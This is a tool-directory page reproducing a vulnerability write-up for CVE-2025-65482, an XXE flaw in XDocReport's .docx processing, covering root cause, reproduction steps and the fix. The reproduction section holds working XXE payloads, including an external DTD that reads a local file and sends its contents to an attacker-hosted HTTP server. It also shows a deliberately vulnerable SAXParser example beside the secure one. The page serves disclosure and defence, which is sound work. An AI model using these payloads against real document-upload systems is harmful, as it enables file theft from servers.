Skip to content
KitploitKITPLOIT
工具博客
Log in
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-65482-XXE- — CVE-2025-65482 (XXE) | Kitploit
工具/GitHubGitHub/at190510-cuong/cve-2025-65482-xxe-
漏洞分析漏洞利用Web应用程序漏洞利用数据泄露论文与研究学习与教育
GitHubat190510-cuong/cve-2025-65482-xxe-

CVE-2025-65482-XXE-

CVE-2025-65482 (XXE)

查看仓库
11811个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2025-65482 (XXE)

XML External Entity Injection (XXE) in XDocReport

Bug Definition

XML External Entity Injection

漏洞概述

  • XML外部实体注入(XXE)是一种处理XML格式数据时的漏洞,用户插入引用外部文件或系统的XML数据。攻击者可以利用此已识别的XXE漏洞扫描其他系统的开放服务端口,请求机密文件,并访问已连接系统的功能(这些功能原本不可用)。由此,攻击者可以提取数据、与系统交互,并通过XML注入造成服务中断。

业务影响

  • XXE可能导致企业声誉受损,因为用户失去信心与信任。它还可能引发数据窃取,并通过通知、修复成本以及泄露的PII数据给企业带来间接经济损失。

Severity HIGH

image

Description and Impact

人事管理网站允许用户上传.docx文档文件到系统。在处理过程中,应用程序使用了fr.opensagres.xdocreport.document.docx库,该库在通过SAXParser处理用户的.docx文件时包含XXE漏洞。

Affected component

fr.opensagres.xdocreport.template.docx — XDocReport (versions =< 2.0.3)

Root cause analysis

原因是使用了Apache POI

fr.opensagres.xdocreport.document.docx
   └── fr.opensagres.xdocreport.document
         └── fr.opensagres.xdocreport.template
               └── fr.opensagres.xdocreport.converter
                     └── org.apache.poi.xwpf.converter.core
                           ├── org.apache.poi:poi
                           └── org.apache.poi:poi-ooxml

即Apache POI位于很深的层次,在模块:

org.apache.poi.xwpf.converter.core

image

错误发生是因为XDocReport(在fr.opensagres.xdocreport.document.docx模块中)使用Apache POI读取.docx文件,而POI使用Java默认的SAXParser,且未禁用允许处理DTD和外部实体的特性。 → 这使得攻击者可以插入带有指向外部(SYSTEM "http://...")或内部文件(file:///...)的实体的DOCTYPE → 产生XXE。

image

XDocReport → fr.opensagres.xdocreport.document.docx → Apache POI (org.apache.poi.xwpf.converter.core) → SAXParser (javax.xml.parsers.SAXParser)

Step to reproduce

  • 解压任意docx文件
unzip ../vcspentest.docx

image

  • 编辑docx中的document.xml文件
nano word/document.xml

image

使用如下outbound payload修改内容以发送至collaborator:

<!DOCTYPE x [ <!ENTITY xxe SYSTEM "http://qrlbu64xvd8jr1y8zwcgoiwnler5fx3m.oastify.com/"> ]>
<x>&xxe;</x>

image

  • 重新压缩为poc文件
 zip -r ../poc.docx *

image

image

  • 将修改后的docx文件上传至xdocreport处理

image

  • 结果观察到有请求发送回collaborator

image

  • 提升影响,读取系统文件
  • 在WSL主机172.26.208.130上托管dtd文件,内容如下:
<!ENTITY % file SYSTEM "file:///d:/vcspentest.txt">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://172.26.208.130:8888/?x=%file;'>">
%eval;
%exfil;

image

image

修改.docx文件中的word/document.xml,内容如下以从WSL主机加载外部DTD:

<!DOCTYPE users [<!ENTITY % xxe SYSTEM "http://172.26.208.130:8888/vcspentest.dtd"> %xxe;]>

image

  • 压缩文件为.docx并上传至服务器处理

image

image

  • 在WSL主机上看到有请求返回,其中包含目标服务器上D:/vcspentest.txt文件的内容

image

image

Solution

  • https://github.com/opensagres/xdocreport/pull/547/commits/a8e48d17f02c19b807efe450d20f1755e45d818b

image

在代码或XML解析器配置层,需要禁用所有与DTD和外部实体相关的功能。

类似以下代码的修复

    @RequestMapping(value = "/SAXParser/vuln", method = RequestMethod.POST)
    public String SAXParserVuln(HttpServletRequest request) {
        try {
            String body = WebUtils.getRequestBody(request);
            logger.info(body);

            SAXParserFactory spf = SAXParserFactory.newInstance();
            SAXParser parser = spf.newSAXParser();
            parser.parse(new InputSource(new StringReader(body)), new DefaultHandler());  // parse xml

            return "SAXParser xxe vuln code";
        } catch (Exception e) {
            logger.error(e.toString());
            return EXCEPT;
        }
    }


    @RequestMapping(value = "/SAXParser/sec", method = RequestMethod.POST)
    public String SAXParserSec(HttpServletRequest request) {
        try {
            String body = WebUtils.getRequestBody(request);
            logger.info(body);

            SAXParserFactory spf = SAXParserFactory.newInstance();
            spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
            spf.setFeature("http://xml.org/sax/features/external-general-entities", false);
            spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
            SAXParser parser = spf.newSAXParser();
            parser.parse(new InputSource(new StringReader(body)), new DefaultHandler());  // parse xml
        } catch (Exception e) {
            logger.error(e.toString());
            return EXCEPT;
        }
        return "SAXParser xxe security code";
    }

调试环境设置

image

  • 在Main.java中
package org.example;

import fr.opensagres.xdocreport.document.IXDocReport;
import fr.opensagres.xdocreport.document.registry.XDocReportRegistry;
import fr.opensagres.xdocreport.template.IContext;
import fr.opensagres.xdocreport.template.TemplateEngineKind;

import java.io.*;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.io.OutputStream;

public class Main {

    public static void main(String[] args) {
        try {
            // Đọc file đầu vào chứa biểu thức Velocity
            File docxTemplate = new File("C:\\Users\\HP\\Downloads\\New folder (3)\\poc.docx"); // File đầu vào
            InputStream input = new FileInputStream(docxTemplate);

//             Load template sử dụng Velocity
//            IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Velocity);

            // Load template sử dụng FreeMarker
            IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Freemarker);
下载工具